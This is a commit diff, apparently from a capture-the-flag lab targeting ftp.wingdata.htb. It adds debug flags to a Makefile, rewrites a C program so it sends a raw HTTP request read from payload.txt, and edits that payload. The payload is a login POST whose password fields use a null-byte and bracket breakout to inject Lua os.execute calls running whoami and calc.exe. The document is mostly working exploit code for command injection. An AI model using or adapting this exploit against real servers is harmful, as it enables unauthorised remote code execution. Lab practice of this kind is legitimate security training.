This commit is contained in:
hexplor
2026-04-25 22:22:27 +02:00
parent 8177d657a1
commit 194309a3bf
3 changed files with 20 additions and 17 deletions
+2 -2
View File
@@ -1,7 +1,7 @@
EXEC = exploit EXEC = exploit
$(EXEC): exploit.o $(EXEC): exploit.o
gcc -o $(EXEC) exploit.o gcc -g -o $(EXEC) exploit.o
exploit.o: exploit.c exploit.o: exploit.c
gcc -c exploit.c gcc -g -c exploit.c
+15 -11
View File
@@ -21,29 +21,33 @@ int main(int argc, char** argv){
dest_addr.sin_port = htons(80); dest_addr.sin_port = htons(80);
dest_addr.sin_addr.s_addr = inet_addr(argv[1]); dest_addr.sin_addr.s_addr = inet_addr(argv[1]);
int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr)); int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
printf("ret_connect = %d\n", ret); printf("ret_connect = %d\n", ret);
char buffer[100]; char buffer[100];
memset(buffer, 0, 100); memset(buffer, 0, 100);
strncpy(buffer, "GET /login.html HTTP/1.1\r\n", 100); FILE* fichier_out = fopen("payload.txt", "r");
send(fd, buffer, strlen(buffer), 0); fseek(fichier_out, 0, SEEK_END);
strncpy(buffer, "Host: ftp.wingdata.htb\r\n", 100);
send(fd, buffer, strlen(buffer), 0);
strncpy(buffer, "Accept: */*\r\n", 100);
send(fd, buffer, strlen(buffer), 0);
strncpy(buffer, "\r\n", 100);
send(fd, buffer, strlen(buffer), 0);
int size = fichier_out->_offset;
char* file_buffer = malloc(size);
fseek(fichier_out, 0, SEEK_SET);
fread(file_buffer, 1, size, fichier_out);
for (int i = 0; i < size; i++){
char c = file_buffer[i];
if (c == '\n')
send(fd, "\r\n", 2, 0);
else
send(fd, &c, 1, 0);
}
send(fd, "\r\n", 2, 0);
int n; int n;
while (( n = recv(fd, buffer, 99, 0)) > 0){ while (( n = recv(fd, buffer, 99, 0)) > 0){
buffer[n] = 0; buffer[n] = 0;
printf("%s", buffer); printf("%s", buffer);
} }
fclose(fichier_out);
return 0; return 0;
} }
+1 -2
View File
@@ -12,5 +12,4 @@ Referer: http://ftp.wingdata.htb/login.html
Accept-Encoding: gzip, deflate, br Accept-Encoding: gzip, deflate, br
Cookie: client_lang=french Cookie: client_lang=french
Connection: keep-alive Connection: keep-alive
username=anonymous&password=anonymous%2500%5D%5D+os.execute%28%27whoami%27%29+--&username_val=anonymous&password_val=anonymous%2500%5D%5D+os.execute%28%27calc.exe%27%29+--
username=anonymous&password=anonymous%2500%5D%5D+os.execute%28%27calc.exe%27%29+--&username_val=anonymous&password_val=anonymous%2500%5D%5D+os.execute%28%27calc.exe%27%29+--